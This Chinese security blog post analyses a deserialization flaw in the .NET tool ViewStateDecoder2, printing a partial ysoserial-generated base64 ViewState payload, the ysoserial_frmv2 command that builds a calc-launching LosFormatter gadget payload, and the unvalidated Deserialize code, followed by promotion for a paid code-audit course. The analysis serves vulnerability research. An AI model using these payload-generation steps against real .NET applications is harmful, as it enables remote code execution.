ViewStateDecoder2是一个专门用于解析和分析 .NET ViewState 数据的工具,安全研究人员可以利用来查看其中存储的数据结构,检查是否存在用户数据泄露等,本篇文章将深入剖析 ViewStateDecoder2 出现反序列化漏洞的原理。
攻击者利用 ViewStateDecoder2.exe
构造特定的 ViewState 代码,并尝试触发代码执行。使用 yso 生成的 Poc 部分如下所示。
POC:
/wEy65EEAAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0CgAAABZEYXRhU2V0LlJlbW90aW5nRm9ybWF0E0RhdGFTZXQuRGF0YVNldE5hbWURRGF0YVNldC5OYW1lc3BhY2UORGF0YVNldC5QcmVmaXgVRGF0YVNldC5DYXNlU2Vuc2l0aXZlEkRhdGFTZXQuTG9jYWxlTENJRBpEYXRhU2V0LkVuZm9yY2VDb25zdHJhaW50cxpEYXRhU2V0LkV4dGVuZGVkUHJvcGVydGllcxREYXRhU2V0LlRhYmxlcy5Db3VudBBEYXRhU2V0LlRhYmxlc18wBAEBAQAAAAIABx9TeXN0ZW0uRGF0YS5TZXJpYWxpemF0aW9uRm9ybWF0AgAAAAEIAQgCAgAAAAX9////H1N5c3RlbS5EYXRhLlNlcmlhbGl6YXRpb25Gb3JtYXQBAAAAB3ZhbHVlX18ACAIAAAABAAAABgQAAAAACQQAAAAJBAAAAAAJBAAAAAoBAAAACQUAAAAPBQAAAPsGAQACAAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbn
触发 ViewStateDecoder2 的反序列化漏洞,需要 ysoserial_frmv2 这款工具,该工具是著名的
ysoserial.net
的一个修改版本,原始的 ysoserial是一款用于生成.NET反序列化利用链的工具,主要针对 .NET Framework 4.x 及以上版本,而
ysoserial_frmv2
则被修改为与更早期的 .NET v2.0 兼容。
2.1 使用方法
使用
LosFormatter
gadget 生成 base64
格式的 payload,并执行 calc.exe
命令,如下所示。
ysoserial_frmv2.exe -f LosFormatter -g ActivitySurrogateSelector -o base64 -c "calc"
执行命令后生成的
base64
格式 payload,此 payload 可被插入到目标 .NET 应用程序的 ViewState 中,进而触发漏洞。
在 .NET 中,
ViewState
是用来在 HTTP 请求之间存储页面状态数据的机制。LosFormatter
是 .NET 中用于序列化和反序列化 ViewState
数据的格式化器。以下是 ViewStateDecoder2 解析 ViewState 的核心
代码。
LosFormatter losFormatter =newLosFormatter();
object tree = losFormatter.Deserialize(this._vsString.Text);
XmlDocument xmlDocument2;
XmlDocument xmlDocument = ViewStateXmlBuilder.BuildXml(tree,out xmlDocument2);
this.PopulateTree(this._decodeTree, xmlDocument);
this.PopulateTree(this._decodeControlStateTree, xmlDocument2);
如果 ViewState 被攻击者篡改成恶意序列化数据,
Deserialize
方法会在没有校验的情况下直接加载和执行对象。
gadget
(例如 ActivitySurrogateSelector
),就可能触发任意命令执行。专属福利
1. 学习模式: 代码审计知识星球在线录播视频 +后续漏洞挖掘直播、内部专属交流社区答疑解惑;
2. 优享福利:加入.NET代码审计星球后赠送永久dot.Net安全基础入门星球。
课程评价
欢迎对.NET代码审计关注和关心的同学加入我们 [dot.Net安全代码审计] ,目前已有近 100+ 位朋友抢先预定。
星球门票后期价格随着内容和质量的不断沉淀会适当提高,越早加入越划算! 现在加入星球可享受星球早鸟价,并可领取100元优惠券,期待在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事,可扫描下方老师二维码了解更多详情。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...